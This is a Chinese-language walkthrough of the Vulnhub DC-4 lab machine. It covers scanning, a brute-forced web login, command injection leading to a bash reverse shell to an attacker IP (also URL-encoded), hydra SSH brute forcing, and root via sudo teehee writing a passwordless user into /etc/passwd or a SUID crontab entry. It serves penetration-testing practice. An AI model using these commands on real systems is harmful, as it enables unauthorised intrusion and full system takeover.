【Vulnhub】 DC-4 靶机

Vulnhub DC-4

一、环境搭建

下载链接:https://www.vulnhub.com/entry/dc-4,313/

解压后用VMware打开,导入虚拟机

网卡配置看个人习惯,我喜欢NAT

二、信息搜集

1.arp-scan 扫出ip

arp-scan 192.168.124.0/24

image-20201003164456757

2.Nmap 扫描端口

扫描全端口,怕漏掉信息

nmap -sV -p 1-65535 -T4 -A

image-20201003164753121

只开了22和80,留意一下系统版本 提权可能会有用

3.扫web目录


三、漏洞发现

打开页面发现是一个需要登陆的地方,丢到bp爆破一下

image-20201003165040083

image-20201003165023246

成功爆出 账号:admin 密码:happy

漏洞利用

登陆后发下如下图一个可以执行命令的地方

image-20201003165542543

比如第一个执行的是ls -l ,利用bp抓包发现可以执行任意命令

image-20201003165637676

细思恐极...直接弹shell试试

echo "bash -i >& /dev/tcp/192.168.124.141/22222 0>&1" | bash

这里注意提交的命令需要URL编码,不然不会被正确解析

%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%31%34%31%2f%32%32%32%32%32%20%30%3e%26%31

image-20201003203713139

看了看passwd文件发现有几个普通账户

image-20201003203811117

既然还有22端口开着,那就先拿这几个用户入手。这里对jim下手

发现/home/jim/backups目录下有old-passwords.bak看着像备份密码的文件(果不其然,又要爆破)

image-20201003203949957

hydra爆破22端口

hydra -l jim -P /usr/local/DC-4/jim-passwords.txt -vV -o /usr/local/DC-4/ssh-result.txt 192.168.124.160 ssh

-vV :显示详细输出过程
-o  :将结果输出到指定文件

image-20201003204829005

ssh登录 账户: jim 密码: jibril04

image-20201003205214398

提权

将提权版本放到exp库中搜索,无果。

image-20201003211057285

SUID提权

尝试了一下sudo -l ,无果。

image-20201003211130622

搜索具备suid属性的文件

 find / -perm -u=s -type f 2>/dev/null

image-20201003211208005

发现没有熟悉的find命令(难过ing)但是发现了有个奇怪的test.sh

看看这个文件是做什么的

image-20201003211354566

是一个jim用户创建的可以执行命令的文件,查询得知这个文件执行命令依然是用jim用户的权限而不是root所以也不能提权。

查询jim用户可以写的文件

find / -writable -type f 2>/dev/null | grep -v "/proc/"

image-20201003211713503

发现有个邮件,看看是啥

发现了charles用户给jim用户他的密码....

image-20201003211835462

ssh一下,发现该用户可以利用sudo无密码使用teehee且是root权限

image-20201003212128061

image-20201003212255747

发现此命令通过 -a 参数向别的文件写入内容

image-20201003212511651

查询得知有两种思路

  1. 修改passwd文件,添加一个root权限的用户
  2. 写入定时任务,开启一个root权限的shell环境

修改passwd文件

sudo teehee -a "Zh1z3ven::0:0:::/bin/bash" > /etc/passwd
charles@dc-4:/usr/bin$ echo "Zh1z3ven::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
Zh1z3ven::0:0:::/bin/bash
charles@dc-4:/usr/bin$ su Zh1z3ven
root@dc-4:/usr/bin# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-4:/usr/bin#

写入定时任务

向/etc/crontab写入一个定时任务创建一个4777属性的/bin/sh

4代表SUID权限

SUID:即为当文件(或命令,但linux一切皆文件~)具有SUID属性时,执行该文件的用户会临时拥有文件拥有者的权限。所以当时test.sh不可以提权,因为文件是jim的。

写入定时任务

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

已具有suid属性的/bin/sh

image-20201003214742257

image-20201003214829042

原文地址:https://www.cnblogs.com/Zh1z3ven/p/13837092.html